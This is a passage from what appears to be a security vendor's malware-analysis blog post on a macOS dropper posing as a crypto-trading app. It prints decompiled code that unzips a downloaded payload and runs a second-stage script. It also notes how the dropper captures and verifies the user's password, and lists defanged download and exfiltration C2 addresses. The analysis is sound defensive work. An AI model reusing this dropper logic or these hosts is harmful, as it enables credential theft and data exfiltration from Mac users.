1000059f0    if ((DoesDirectoryExist & 1) != 0)
1000059f0        goto label_100005a4c
1000059f8    int64_t URL: ~/Library/grabber_1 = URL._bridgeToObjectiveC()()
100005a00    id null = nullptr
100005a20    int32_t directoryCreateSuccess = _objc_msgSend(self: defMan, cmd: "createDirectoryAtURL:withIntermediateDirectories:attributes:error:", URL: ~/Library/grabber_1, 1, 0, &null)

If the directory does already exist then there is a branch to 0x100005a4c to
continue execution. 

100005a4c    label_100005a4c:
100005a4c    unzipAndDecode()
100005aa4    URL.appendingPathComponent(_:)('grabber', 0xe700000000000000)
100005ac8    URL.appendingPathComponent(_:)('main.sh', 0xe700000000000000)

Once that creation is completed (or if the directory already exists), a branch
to a function for unzipping the file downloaded and decoding the contents of the
file is completed. The path to the main script will be
~/Library/grabber/main.sh.


LINK TO THIS SECTION UNZIPANDDECODE()

This function prepares an NSTask call to unzip the file that is downloaded,
since this function is part of the block that was passed to the
completionHandler for the URLSession object. 

100008998      void* task = -[_TtC11CryptoTrade11AppDelegate init](self: _objc_allocWithZone(_OBJC_CLASS_$_NSTask), sel: "init")
1000089c4      URL.init(fileURLWithPath:)('/usr/bin', '/unzip\x00\xee')
1000089c8      int64_t _/usr/bin/unzip = URL._bridgeToObjectiveC()()
1000089d0      (*(x19 + 8))(x20, x0_2)
1000089f0      _objc_msgSend(self: task, cmd: "setExecutableURL:", _/usr/bin/unzip)

The NSTask object is passed the setExecutableURL: method for the path
/usr/bin/unzip. The argument array used by the unzip command is set up here: 

100008a10    argArray, v0 = _swift_allocObject(getTypeByMangledNameInContext2(&data_100010ec0), 0x50, 7)
100008a20    *(argArray + 0x10) = data_10000a200
100008a28    int64_t x0_9
100008a28    int64_t x1_2
100008a28    x0_9, x1_2 = URL.path.getter()
100008a2c    *(argArray + 0x20) = x0_9
100008a2c    *(argArray + 0x28) = x1_2
100008a38    *(argArray + 0x30) = '-d'
100008a38    *(argArray + 0x38) = 0xe200000000000000
100008a40    int64_t url
100008a40    int64_t sizeOFURL
100008a40    url, sizeOFURL = URL.path.getter()
100008a44    *(argArray + 0x40) = url
100008a44    *(argArray + 0x48) = sizeOFURL
100008a58    int64_t argArray_1 = Array._bridgeToObjectiveC()(argArray, type metadata for String)
100008a64     _swift_release(argArray)
100008a78    _objc_msgSend(self: task, cmd: "setArguments:", argArray_1)

 

For the NSArray arguments that are passed to the setArguments method, a Swift
array is allocated and set up with the -d argument and path. Once the NSTask
object is set up and executed, execution is returned to the caller which
continues another NSTask setup.

100005bd8    void* task = _objc_allocWithZone(_OBJC_CLASS_$_NSTask)
100005be4    _objc_retain(obj: obj_8)
100005bf4    id obj_3 = -[_TtC11CryptoTrade11AppDelegate init](self: task, sel: "init")
100005c00    int64_t pathToDownloadedScript = URL._bridgeToObjectiveC()()
100005c18    _objc_msgSend(self: obj_3, cmd: "setExecutableURL:", pathToDownloadedScript)
100005c20    _objc_release(obj: pathToDownloadedScript)

Once unzipped, the script is targeted using the URL object
~/Library/grabber/main.sh, which is passed to the setExecutableURL method. This
begins the second stage of the malware chain. 


LINK TO THIS SECTION RECAP

This dropper differs from other recent stealers by leveraging swiftUI for the
prompt creation, by using Open Directory APIs for verifying the captured user
password, and by primarily using APIs to complete actions that would not
generate process events. 


LINK TO THIS SECTION IOCS

 * 122877b338ec943ac0b33dcedc973aab6db48dd93cd30263255a7e7351ee60e6 (mach-O)
 * hxxps[:]//cryptomac.dev/download/grabber[.]zip  (Stage 2 C2)
 * hxxp[://]81.19.137[.]179/api/index.php (data exfil C2)


LINK TO THIS SECTION ABOUT KANDJI

Kandji is the Apple device management and security platform that empowers secure
and productive global work. With Kandji, Apple devices transform themselves into
enterprise-ready endpoints, with all the right apps, settings, and security
systems in place. Through advanced automation and thoughtful experiences, we’re
bringing much-needed harmony to the way IT, InfoSec, and Apple device users work
today and tomorrow.



See Kandji in Action

Experience Apple device management and security that actually gives you back
your time.

Get Started Contact Us

See Kandji in Action

Experience Apple device management and security that actually gives you back
your time.

Start Free Trial Contact Us

Share Post
LinkedIn Facebook Twitter Reddit Print
Previous Post
Search

More Threat Intelligence
Dock Tile Plugins Could Be Used to Escalate Privileges


DOCK TILE PLUGINS COULD BE USED TO ESCALATE PRIVILEGES

How Twitch Helper Can Be Used for Privilege Escalation


HOW TWITCH HELPER CAN BE USED FOR PRIVILEGE ESCALATION

Update: Cuckoo Malware Evolves


UPDATE: CUCKOO MALWARE EVOLVES

Related Topics
How Twitch Helper Can Be Used for Privilege Escalation


HOW TWITCH HELPER CAN BE USED FOR PRIVILEGE ESCALATION

CloudChat Infostealer: How It Works, What It Does


CLOUDCHAT INFOSTEALER: HOW IT WORKS, WHAT IT DOES

Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware


MALWARE: CUCKOO BEHAVES LIKE CROSS BETWEEN INFOSTEALER AND SPYWARE

Get the latest blog updates in your inbox


SUBSCRIBE

Email*

utm_campaign

utm_content

utm_medium

utm_source

utm_term

Kandji Blog Email Subscription



Logo for AICPA SOC for Service Organizations


CONNECT

Link to Kandji's Twitter Link to Kandji's Facebook Link to Kandji's LinkedIn


COMPANY

 * About Kandji
 * Careers
 * News & Press
 * Contact
 * Why Kandji?


GET STARTED

 * Get a Demo
 * Virtual Demo
 * Pricing


PARTNERS

 * Resellers
 * Technology Partners
 * Become a Partner
 * Register a Deal
 * Partner Portal


SOLUTIONS

 * Apple Device Management
 * Endpoint Detection & Response
 * Mac Device Management
 * iOS Device Management
 * Device Harmony


FEATURES

 * Liftoff
 * Auto Apps
 * Assignment Maps
 * Prism
 * Passport
 * Managed OS
 * Migration
 * Compliance


USE CASES

 * Zero-Touch Deployment
 * Security Configurations
 * Software Management
 * Integrate with Kandji
 * iOS and iPadOS


RESOURCES

 * Resources Hub
 * Blog
 * Customer Stories
 * Mac Admins Community
 * Security Details
 * Apple MDM Definitions
 * About Apple MDM
 * Customer Support
 * Product Updates
 * Buyers Guide

Kandji logo

© Copyright 2024 Kandji, Inc. All Rights Reserved.
Kandji, the bee logo and Device Harmony are trademarks of Kandji, Inc.

 * Privacy Policy
 * Your Privacy Choices
 * Accessibility
 * Legal



This website uses cookies and other tracking technologies to enhance user
experience and to analyze performance and traffic on our website. We also share
information about your use of our site with our social media, advertising and
analytics partners. If we have detected an opt-out preference signal then it
will be honored. Further information is available in our

Accept All Cookies
Reject Optional Cookies
Manage Privacy Preferences


PRIVACY PREFERENCE CENTER

When you visit any website, it may store or retrieve information on your
browser, mostly in the form of cookies. This information might be about you,
your preferences or your device and is mostly used to make the site work as you
expect it to. The information does not usually directly identify you, but it can
give you a more personalized web experience. Because we respect your right to
privacy, you can choose not to allow some types of cookies. Click on the
different category headings to find out more and change our default settings.
However, blocking some types of cookies may impact your experience of the site
and the services we are able to offer. Privacy Policy .
Allow All


MANAGE CONSENT PREFERENCES

STRICTLY NECESSARY COOKIES

Always Active

These cookies are necessary for the website to function and cannot be switched
off in our systems. They are usually only set in response to actions made by you
which amount to a request for services, such as setting your privacy
preferences, logging in or filling in forms. You can set your browser to block
or alert you about these cookies, but some parts of the site will not then work.
These cookies do not store any personally identifiable information.

FUNCTIONAL COOKIES

Always Active

These cookies enable the website to provide enhanced functionality and
personalisation. They may be set by us or by third party providers whose
services we have added to our pages. If you do not allow these cookies then some
or all of these services may not function properly.

PERFORMANCE COOKIES

Performance Cookies

These cookies allow us to count visits and traffic sources so we can measure and
improve the performance of our site. They help us to know which pages are the
most and least popular and see how visitors move around the site. All
information these cookies collect is aggregated and therefore anonymous. If you
do not allow these cookies we will not know when you have visited our site, and
will not be able to monitor its performance.

TARGETING COOKIES

Targeting Cookies

These cookies may be set through our site by our advertising partners. They may
be used by those companies to build a profile of your interests and show you
relevant adverts on other sites. They do not store directly personal
information, but are based on uniquely identifying your browser and internet
device. If you do not allow these cookies, you will experience less targeted
advertising.

Back Button


COOKIE LIST



Search Icon
Filter Icon

Clear
checkbox label label
Apply Cancel
Consent Leg.Interest
checkbox label label
checkbox label label
checkbox label label

Reject All Confirm My Choices